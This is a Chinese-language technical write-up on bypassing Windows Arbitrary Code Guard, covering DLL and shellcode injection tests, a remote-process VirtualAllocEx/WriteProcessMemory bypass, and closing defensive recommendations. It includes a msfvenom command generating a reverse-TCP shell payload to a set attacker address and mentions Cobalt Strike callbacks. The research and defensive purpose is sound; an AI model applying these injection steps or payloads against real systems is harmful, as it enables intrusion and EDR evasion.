任意代码保护 (ACG)
字数 2141 2025-08-29 22:41:02
Windows Arbitrary Code Guard (ACG) 绕过技术分析
1. ACG 概述
Arbitrary Code Guard (ACG) 是 Windows 系统的一种安全缓解策略,旨在防止恶意代码在进程内存中创建或修改可执行代码页。
1.1 ACG 主要限制
-
代码页不可变性:
- 现有进程代码页无法变为可写
- 禁止使用
VirtualProtect将图像代码页改为PAGE_EXECUTE_READWRITE
-
新代码页限制:
- 无法创建新的未签名代码页
- 禁止使用
VirtualAlloc创建PAGE_EXECUTE_READWRITE代码页
1.2 ACG 对抗 EDR 的能力
ACG 能有效对抗 EDR (Endpoint Detection and Response) 的检测机制:
- EDR 通常通过 API hook 进行检测
- EDR 会注入 DLL 到监控进程安装 hook
- ACG 阻止了这些注入行为
2. ACG 状态检查
使用 Process Hacker 查看 Mitigation Policies:
ProcessDynamicCodePolicy标志表示 ACG 是否启用- 1 表示启用,0 表示未启用
3. 传统注入方法测试
3.1 DLL 注入测试
测试结果:
- 开启 ACG 后直接 DLL 注入会导致:
- 线程退出
- 进程关闭
- 无法成功注入上线
3.2 线程创建注入测试
测试方法:
- 获取目标进程 PID
- 手动获取
- 通过镜像列表查找
- 执行 shellcode 注入
测试结果:
- 请求 C2 (如 Cobalt Strike) 后程序直接关闭
- 无法成功上线
3.3 使用 msfvenom 测试
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.2.12.18 LPORT=684 -f c
测试结果:
- 主机成功监听到 shell
- 镜像列表查找 PID 方法也可行
4. 代码注入绕过 ACG 的技术
4.1 绕过原理
尽管 ACG 启用,远程进程仍可对目标进程执行以下操作:
- 使用
OpenProcess获取目标进程句柄 - 使用
VirtualAllocEx分配内存 (PROCESS_ALL_ACCESS权限) - 内存属性可设为
PAGE_EXECUTE_READWRITE - 使用
WriteProcessMemory写入 Shellcode - 执行 Shellcode
4.2 与传统 DLL 注入的区别
| 特性 | 代码注入 | DLL 注入 |
|---|---|---|
| 依赖 | 不依赖目标进程生成代码 | 需要目标进程加载模块 |
| 内存分配 | 通过 VirtualAllocEx |
通过 VirtualAlloc |
| 模块加载 | 不需要 | 需要 LoadLibrary |
| ACG 影响 | 可绕过 | 被阻止 |
4.3 关键发现
- ACG 不阻止远程进程通过
VirtualAllocEx和WriteProcessMemory操作目标进程内存 - ACG 主要阻止目标进程自身分配和执行 RWX 内存
- 代码注入不涉及模块加载,因此绕过 ACG 限制
5. 父子进程关系观察
测试现象:
- 手动关闭程序后,nc shell 仍保持连接
- 原因是启动程序的父进程 (cmd) 未关闭
- 关闭父进程后连接断开
与 Cobalt Strike 的区别:
- CS 连接行为与此不同
6. 第三方 DLL 注入现象
6.1 SangforTcpX64.dll 自动注入
观察结果:
- 当注入 DLL 进行 TCP 请求时,SangforTcpX64.dll 自动注入
- 仅注入 DLL 不进行 TCP 连接时,不会注入
- 开启 ACG 后 Sangfor DLL 仍能加载,可能通过内核级注入
6.2 Code Integrity Guard (CIG) 测试
CIG 是更严格的用户态保护机制:
- 强制代码完整性验证
- 仅允许微软签名 DLL
测试结果:
- 编写网络请求程序并开启 CIG:
- Sangfor DLL 无法加载
- 成功阻止非微软签名 DLL
- 注入微软签名 DLL:
- 可以加载
- 但网络请求仍失败
7. 总结与防御建议
7.1 ACG 的有效性总结
-
有效防护:
- 阻止 DLL 注入
- 防止目标进程自身分配 RWX 内存
- 阻止 LoadLibrary 加载外部模块
-
绕过可能:
- 不防御远程进程通过 VirtualAllocEx 和 WriteProcessMemory 的直接内存操作
- 内核级注入仍可能成功
7.2 防御建议
-
结合使用 CIG 和 ACG:
- CIG 确保只有签名代码可执行
- ACG 防止内存修改
-
监控关键 API 调用:
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
-
限制进程权限:
- 减少 PROCESS_ALL_ACCESS 权限分配
-
启用内核保护:
- 防止内核级注入绕过用户态保护
-
行为监控:
- 检测异常的进程间内存操作
- 监控非预期的新线程创建
通过综合运用这些防护措施,可以显著提高系统对抗代码注入攻击的能力。